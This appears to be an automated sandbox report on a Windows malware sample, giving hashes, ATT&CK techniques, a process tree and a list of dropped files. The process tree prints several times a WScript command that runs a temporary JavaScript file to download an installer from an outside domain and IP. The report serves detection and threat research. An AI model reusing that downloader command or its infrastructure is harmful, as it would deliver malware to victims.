89e9d53f8ca18e358ced05ade7eb22d123764725f848717ce437b397452e3804

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
14-05-2024 16:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

422570c548493e9b153db64190a9c1e2_JaffaCakes118.exe
Size

184KB
MD5

422570c548493e9b153db64190a9c1e2
SHA1

8b9344ff0c85f4876a18bd6c8ab1c66a6120f33e
SHA256

89e9d53f8ca18e358ced05ade7eb22d123764725f848717ce437b397452e3804
SHA512

51593bffbd28c7e46572cb3176097481db1b8d2242e6c974099559c57b34a7bacd42b22c9cee17b556034ac1e0c9c10d07480faa64c2b947cb58b54a672ee2fe
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3pA:/7BSH8zUB+nGESaaRvoB7FJNndnr

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	2196	WScript.exe
8	2196	WScript.exe
10	2196	WScript.exe
12	2956	WScript.exe
13	2956	WScript.exe
16	1788	WScript.exe
17	1788	WScript.exe
19	2400	WScript.exe
20	2400	WScript.exe
22	1028	WScript.exe
23	1028	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 788 wrote to memory of 2196	788	422570c548493e9b153db64190a9c1e2_JaffaCakes118.exe	28
PID 788 wrote to memory of 2196	788	422570c548493e9b153db64190a9c1e2_JaffaCakes118.exe	28
PID 788 wrote to memory of 2196	788	422570c548493e9b153db64190a9c1e2_JaffaCakes118.exe	28
PID 788 wrote to memory of 2196	788	422570c548493e9b153db64190a9c1e2_JaffaCakes118.exe	28
PID 788 wrote to memory of 2956	788	422570c548493e9b153db64190a9c1e2_JaffaCakes118.exe	30
PID 788 wrote to memory of 2956	788	422570c548493e9b153db64190a9c1e2_JaffaCakes118.exe	30
PID 788 wrote to memory of 2956	788	422570c548493e9b153db64190a9c1e2_JaffaCakes118.exe	30
PID 788 wrote to memory of 2956	788	422570c548493e9b153db64190a9c1e2_JaffaCakes118.exe	30
PID 788 wrote to memory of 1788	788	422570c548493e9b153db64190a9c1e2_JaffaCakes118.exe	32
PID 788 wrote to memory of 1788	788	422570c548493e9b153db64190a9c1e2_JaffaCakes118.exe	32
PID 788 wrote to memory of 1788	788	422570c548493e9b153db64190a9c1e2_JaffaCakes118.exe	32
PID 788 wrote to memory of 1788	788	422570c548493e9b153db64190a9c1e2_JaffaCakes118.exe	32
PID 788 wrote to memory of 2400	788	422570c548493e9b153db64190a9c1e2_JaffaCakes118.exe	34
PID 788 wrote to memory of 2400	788	422570c548493e9b153db64190a9c1e2_JaffaCakes118.exe	34
PID 788 wrote to memory of 2400	788	422570c548493e9b153db64190a9c1e2_JaffaCakes118.exe	34
PID 788 wrote to memory of 2400	788	422570c548493e9b153db64190a9c1e2_JaffaCakes118.exe	34
PID 788 wrote to memory of 1028	788	422570c548493e9b153db64190a9c1e2_JaffaCakes118.exe	36
PID 788 wrote to memory of 1028	788	422570c548493e9b153db64190a9c1e2_JaffaCakes118.exe	36
PID 788 wrote to memory of 1028	788	422570c548493e9b153db64190a9c1e2_JaffaCakes118.exe	36
PID 788 wrote to memory of 1028	788	422570c548493e9b153db64190a9c1e2_JaffaCakes118.exe	36

C:\Users\Admin\AppData\Local\Temp\422570c548493e9b153db64190a9c1e2_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\422570c548493e9b153db64190a9c1e2_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:788
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf277E.js" http://www.djapp.info/?domain=RJwHSXAOEr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf277E.exe
  2⤵
  - Blocklisted process makes network request
  PID:2196
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf277E.js" http://www.djapp.info/?domain=RJwHSXAOEr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf277E.exe
  2⤵
  - Blocklisted process makes network request
  PID:2956
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf277E.js" http://www.djapp.info/?domain=RJwHSXAOEr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf277E.exe
  2⤵
  - Blocklisted process makes network request
  PID:1788
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf277E.js" http://www.djapp.info/?domain=RJwHSXAOEr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf277E.exe
  2⤵
  - Blocklisted process makes network request
  PID:2400
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf277E.js" http://www.djapp.info/?domain=RJwHSXAOEr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf277E.exe
  2⤵
  - Blocklisted process makes network request
  PID:1028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
377b0b955dd0b0490e7beca59ae633a5

SHA1
a861cdd741b460d5fbda5452d31a5e507da50c06

SHA256
50e3cb37250fc0daf7672d7bc608ea0471916b2a31d102c5a6c48b0a086bbe7b

SHA512
3ccfdf2f239c66517b6134d51ff52481c5d9c4df22db49556b0073f0aec89c53354988ae5217272beffa6adbaffeded34b7230cbd5a0569d20be076157e61225

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
b76c0784822bb79d9420478566ef0ace

SHA1
b5b575d48a103dbef84242dc23d85495519adfd7

SHA256
83aada1cba24cf276a45fcd98cf30b8bf51f283d3c89e4f5c9c24ef9c51775e4

SHA512
c66f437b4b0c9eb240024cac27d03348bcf2018f98771c5760c5749cf47593718a4cedad4fda993724d35a6e18f13f289145ed82e47510d46dc0f76dfa6bd63b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
c2cb7eb827bcefa84a0c74d0a3846989

SHA1
9ae6ac133077398627fb2004821b763d3c2f6f64

SHA256
1658a021e7004d9cefb0808f2cccb89aaba2adecc1d81e95903a574fcdbf9820

SHA512
4c0b399d0a85527b96367758f441243a47ac093b2138862e4fac4b8e5d15434fc9060a16b1a3a33712928ee8189b7943d66400a29295e8cc60932edb808a21ca

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
99db6a1f71d90dbe1f90a3c5652e5d02

SHA1
f1d19570fffc54b06b2315a61d5ef02e5b3f19a3

SHA256
94beca3f54bbdd80eb7c092791508280509a5d943277da9fda8b120f4b7fcd5c

SHA512
bf81533d3f38a0e652148fc2b2aeead17222443452ca45ebd5c38e7cd8b9e6ecdff41d7d1013f2de8dcbeb12b894bd70e62fae6c8a8c4ccbfb65a065c1eae71d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\IO0LJX84\domain_profile[1].htm

Filesize
40KB

MD5
02ece4e0b0eccc1691820ad292655e8c

SHA1
77b00756bf0c57abd7c101999d79bff2079ee48d

SHA256
f6ed02b4230e7075f3fcf55ec06fad2f73e3a689434230bef751a00a5754bc9e

SHA512
3249edbe0856eb06acc3d7bdb89f2ba5eb266d0f600ee07dda33c9e5a3e2497d4a42bfe533e134284954ddbc575c36b52512a1c7fff84931c6af31f10f31de61

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\IO0LJX84\domain_profile[1].htm

Filesize
40KB

MD5
b3155f9f4fb716642adfa7d5ce55944c

SHA1
77e41405fc4651c854617e3bcf098fd4ecdd90a2

SHA256
5e28b8f92c75f917d2a12fb9c4488879a3fa2df476317fe036f515072123070a

SHA512
987dd15d2ba014b830767484d8925eb4d83bc057f602e7b2ab0a5ea642cab7c377863d6c58bb31ed1112567cd6123fa2030852a7270b0f9607c0f54d8aceffeb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\SVBQZB4R\domain_profile[1].htm

Filesize
40KB

MD5
b118fed2ca4b2405d02c89268e7deabc

SHA1
e3c00b1263ce88decc68b7b5f03100dfb9397063

SHA256
09af148330875c9879f3ade226dd0852fac7377471bd64b805cc65eb8efff6d1

SHA512
50ce38e3e43677a3ba9f76d91a6e10d39e99a5cd21e090710d98c53a3ec4217eabe1b91fee7b98fa8abd9a228fff626011153a13015b50126c4fbe4df6d87566

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\SVBQZB4R\domain_profile[1].htm

Filesize
40KB

MD5
0d7cf07beb0c13121bf3c6e641ab650a

SHA1
765b2a3f0dcd691f790cb609d9842afa640b24db

SHA256
f224e21cb1f1fee01fa30b212247a252375d216785e07e2257056735a9b09dd6

SHA512
42853b8b716586ce72c0260db224636f49362b6b67e74d5497391349ab7fd79fcccefe58dd7ae2f8ee4a6882bc73c8895d001d130ec16684676eb3093824e618

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab5715.tmp

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar6F86.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf277E.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\HAN6M73B.txt

Filesize
177B

MD5
a0ab4593d8c5f623807a09218ddbfefc

SHA1
87a49bd6165166f29a9201bec639036fe2c6eb54

SHA256
a9173e3ab76d8d8c83428dfd9f6a3f0f8bfb3587de331a16c65c7a747685bbc8

SHA512
55046dead4bbbecce839fb4d0d17e46e68e088ff319067f2e1fac0e940027f04d3e50620c6ca3aff660f50a48b8a17ed79d45019803e1905b37ad2194671337f

Download Submit